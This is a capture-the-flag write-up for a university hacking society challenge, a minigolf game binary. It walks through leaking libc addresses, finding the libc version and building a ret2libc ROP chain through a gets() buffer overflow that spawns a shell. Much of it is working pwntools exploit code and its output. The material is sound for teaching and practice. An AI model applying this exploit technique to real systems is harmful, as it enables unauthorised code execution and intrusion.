Putting In Memory

A fun minigolf game. Including Buffer Overflow and ROP Chains

Difficulty: Probably Too Hard

Ben Poulton

Abertay HackSoc Term 1 CTF 2025/26

.

1 INTRODUCTION

The User is presented with a minigame style golf game. This is played by inputting a memory address in hex, and the resulting function located at that address is revealed. The function used to read the user's input utilises gets(), an insecure function that allows for buffer overflow. As this is a 64 bit binary with stack protection enabled, for the user to exploit this buffer overflow they also need to use ROP Chaining, specifically on functions found within LIBC, as these are leakable using the memory reading the "minigame" provides.

```
┌──(kali㉿kali)-[~/golf/puttingInMemory]
└─$ nc localhost 1337
Welcome to golf. You just gotta get the ball into the hole :). To quit your session, use ctrl + c.

Please stay within the borders: 0×562c3adf8304 and 0×7fe7bd4a1d60
Where do you want to aim? (hex): 0×562c3adf8304

Your ball landed on leftBorder
This sections seems to start at 0×562c3adf8304
Where do you want to aim? (hex): 0×7fe7bd4a1d60

Your ball landed on rightBorder
This sections seems to start at 0×7fe7bd4a1d60
Where do you want to aim? (hex):
```

2 SOLUTION

```python
#!/usr/bin/env python3

from pwn import *
from time import sleep


def conn():

    r = remote("localhost", 1337)

    return r


def main():
    r = conn()

#    r.interactive()
    #r.recvuntil(b"Please stay within the borders: ")
    print(r.recvuntil(b"borders: "))
    borders = str(r.recvline()).strip("b'n\\").split(" ")

    print(borders)

    #r.interactive()
    response = r.recvuntil(b":")
    print(response)

    for i in range(0,10000):
     #   sleep(0.01)
        print(i)
        address = hex(int(borders[0],16)+i)
        #print(address)
        print(address)
        r.send(address+"\n")

        response = r.recvuntil(b":")
        print(response)

        if b"flag" in response:
            break



   # r.interactive()
```

A simple pwntools script can be used to scout out the program. The location of the borders in use can be read into the program and used to define a starting point for the memory checking, and each location can be check sequentially.

Initially, using the left border as the starting point will eventually get the user to the "hole", but this is actually useless.

```
6209
0×55d3d0116b45
b' \nYour ball landed on the_green\nThis sections seems to start at
6210
0×55d3d0116b46
b" \nYou got the ball in the hole!!! But there's no flag here. ):"
[*] Closed connection to localhost port 1337
```

Changing the script to instead start at the location given for the right border, allows for the user to leak the starting addresses of the LIBC functions. These can then be put into a LIBC calculator to find the version being used.

```python
for i in range(1,1000000):
    #print(i)
    address = hex(int(borders[2],16)+int(str(i),16))
    #print(address)

    r.send(address+"\n")

    response = r.recvuntil(b":")

    if b"ball" in response:
        print(response)
```

Minor change for leaking the LIBC function addresses.

```
b' \nYour ball landed on register_printf_modifier\nThis sections seems to start at 0×7f198504f6c0\nWhere do you want to aim? (hex):'
b' \nYour ball landed on register_printf_modifier\nThis sections seems to start at 0×7f198504f6c0\nWhere do you want to aim? (hex):'
b' \nYour ball landed on printf_size\nThis sections seems to start at 0×7f198504fad0\nWhere do you want to aim? (hex):'
b' \nYour ball landed on printf_size\nThis sections seems to start at 0×7f198504fad0\nWhere do you want to aim? (hex):'
```

Powered by the libc-database search API

Search

Symbol name	Address	
register_printf_modifier	0x7f198504f6c0	REMOVE
rewind	0x7f1985077f20	REMOVE
printf_size	0x7f198504fad0	REMOVE
_IO_fprintf	0x7f1985050630	REMOVE
Symbol name	Address	REMOVE

Results

libc6_2.35-0ubuntu3.8_amd64
libc6_2.35-0ubuntu3.5_amd64
libc6_2.35-0ubuntu3.4_amd64
libc6_2.35-0ubuntu3.6_amd64
libc6_2.35-0ubuntu3.7_amd64
libc6_2.35-0ubuntu3.9_amd64
libc6_2.35-0ubuntu3.10_amd64

The LIBC versions found are all 2.35, though for differing versions of ubuntu. For the needs of this challenge, it seems as though any of these version will work, except for ubuntu 3.4 (Other versions may have varying levels of success).

Once the version of LIBC has been found, pwntools can be used to easily build a payload using ROP.

```
libc = ELF("./libcsamples/libc6_2.35-0ubuntu3.10_amd64.so")


context.binary = libc
```

The leaked _IO_printf address is used to properly align the location of the LIBC binary in memory, meaning any calls to function within this library will be at the correct memory location.

```
if b"_IO_printf" in result:
    print(result)
    printf_loc = int(result.split(b" ")[11].split(b"\n")[0],16)
    print(printf_loc)
    libc.address = printf_loc - libc.symbols['_IO_printf']
    print("libc:",hex(libc.address))
    break
```

The payload is build using a set of gadgets, and a system call to /bin/sh. Pwntools makes this a relatively simple process.

This works due to how 64 bit executables handle buffer overflows, having them put on a separate part of the stack, which is then used for the return address.

```
system = libc.symbols['system']
bin_sh = next(libc.search('/bin/sh'))


rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

ret = rop.find_gadget(['ret'])[0]


print("pop rdi:",hex(pop_rdi))
print("bin_sh:",hex(bin_sh))
print("ret:",hex(ret))
print("system:",hex(system))

payload = b"A"*offset
#  payload += b"B"*6
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)


print(r.recvuntil(b"(hex):"))
print(payload)

r.sendline(payload)

#print(borders)
# good luck pwning :)
r.interactive()
```

Finding the buffer overflow offset would require some brute force. The program crashes at an overflow of 33 bytes (As the char set being overflowed hold 32 bytes.), but for rbp to be overwritten correctly and offset of 40 is required.

```
libc: 0x7f6a25961000
0x7f6a2598b3e5
/home/kali/golf/puttingInMemory/solve.py:58: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  bin_sh = next(libc.search('/bin/sh'))
[*] Loaded 219 cached gadgets for './libcsamples/libc6_2.35-0ubuntu3.10_amd64.so'
pop rdi: 0x7f6a2598b3e5
bin_sh: 0x7f6a25b39678
ret: 0x7f6a2598a139
system: 0x7f6a259b1d70
b' \nYour ball landed on _IO_printf\nThis sections seems to start at 0x7f6a259c16f0\nWhere do you want to aim? (hex):'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe5\xb3\x98%j\x7f\x00\x00x\x96\xb3%j\x7f\x00\x009\xa1\x98%j\x7f\x00\x00p\x1d\x9b%j\x7f\x00\x00'
[*] Switching to interactive mode
 $ whoami
golfer
$ ls
flag.txt
golf
golf.c
libcsamples
$
```

Running a python script with the correct payload and offset will give the user access to the docker container, including the flag file.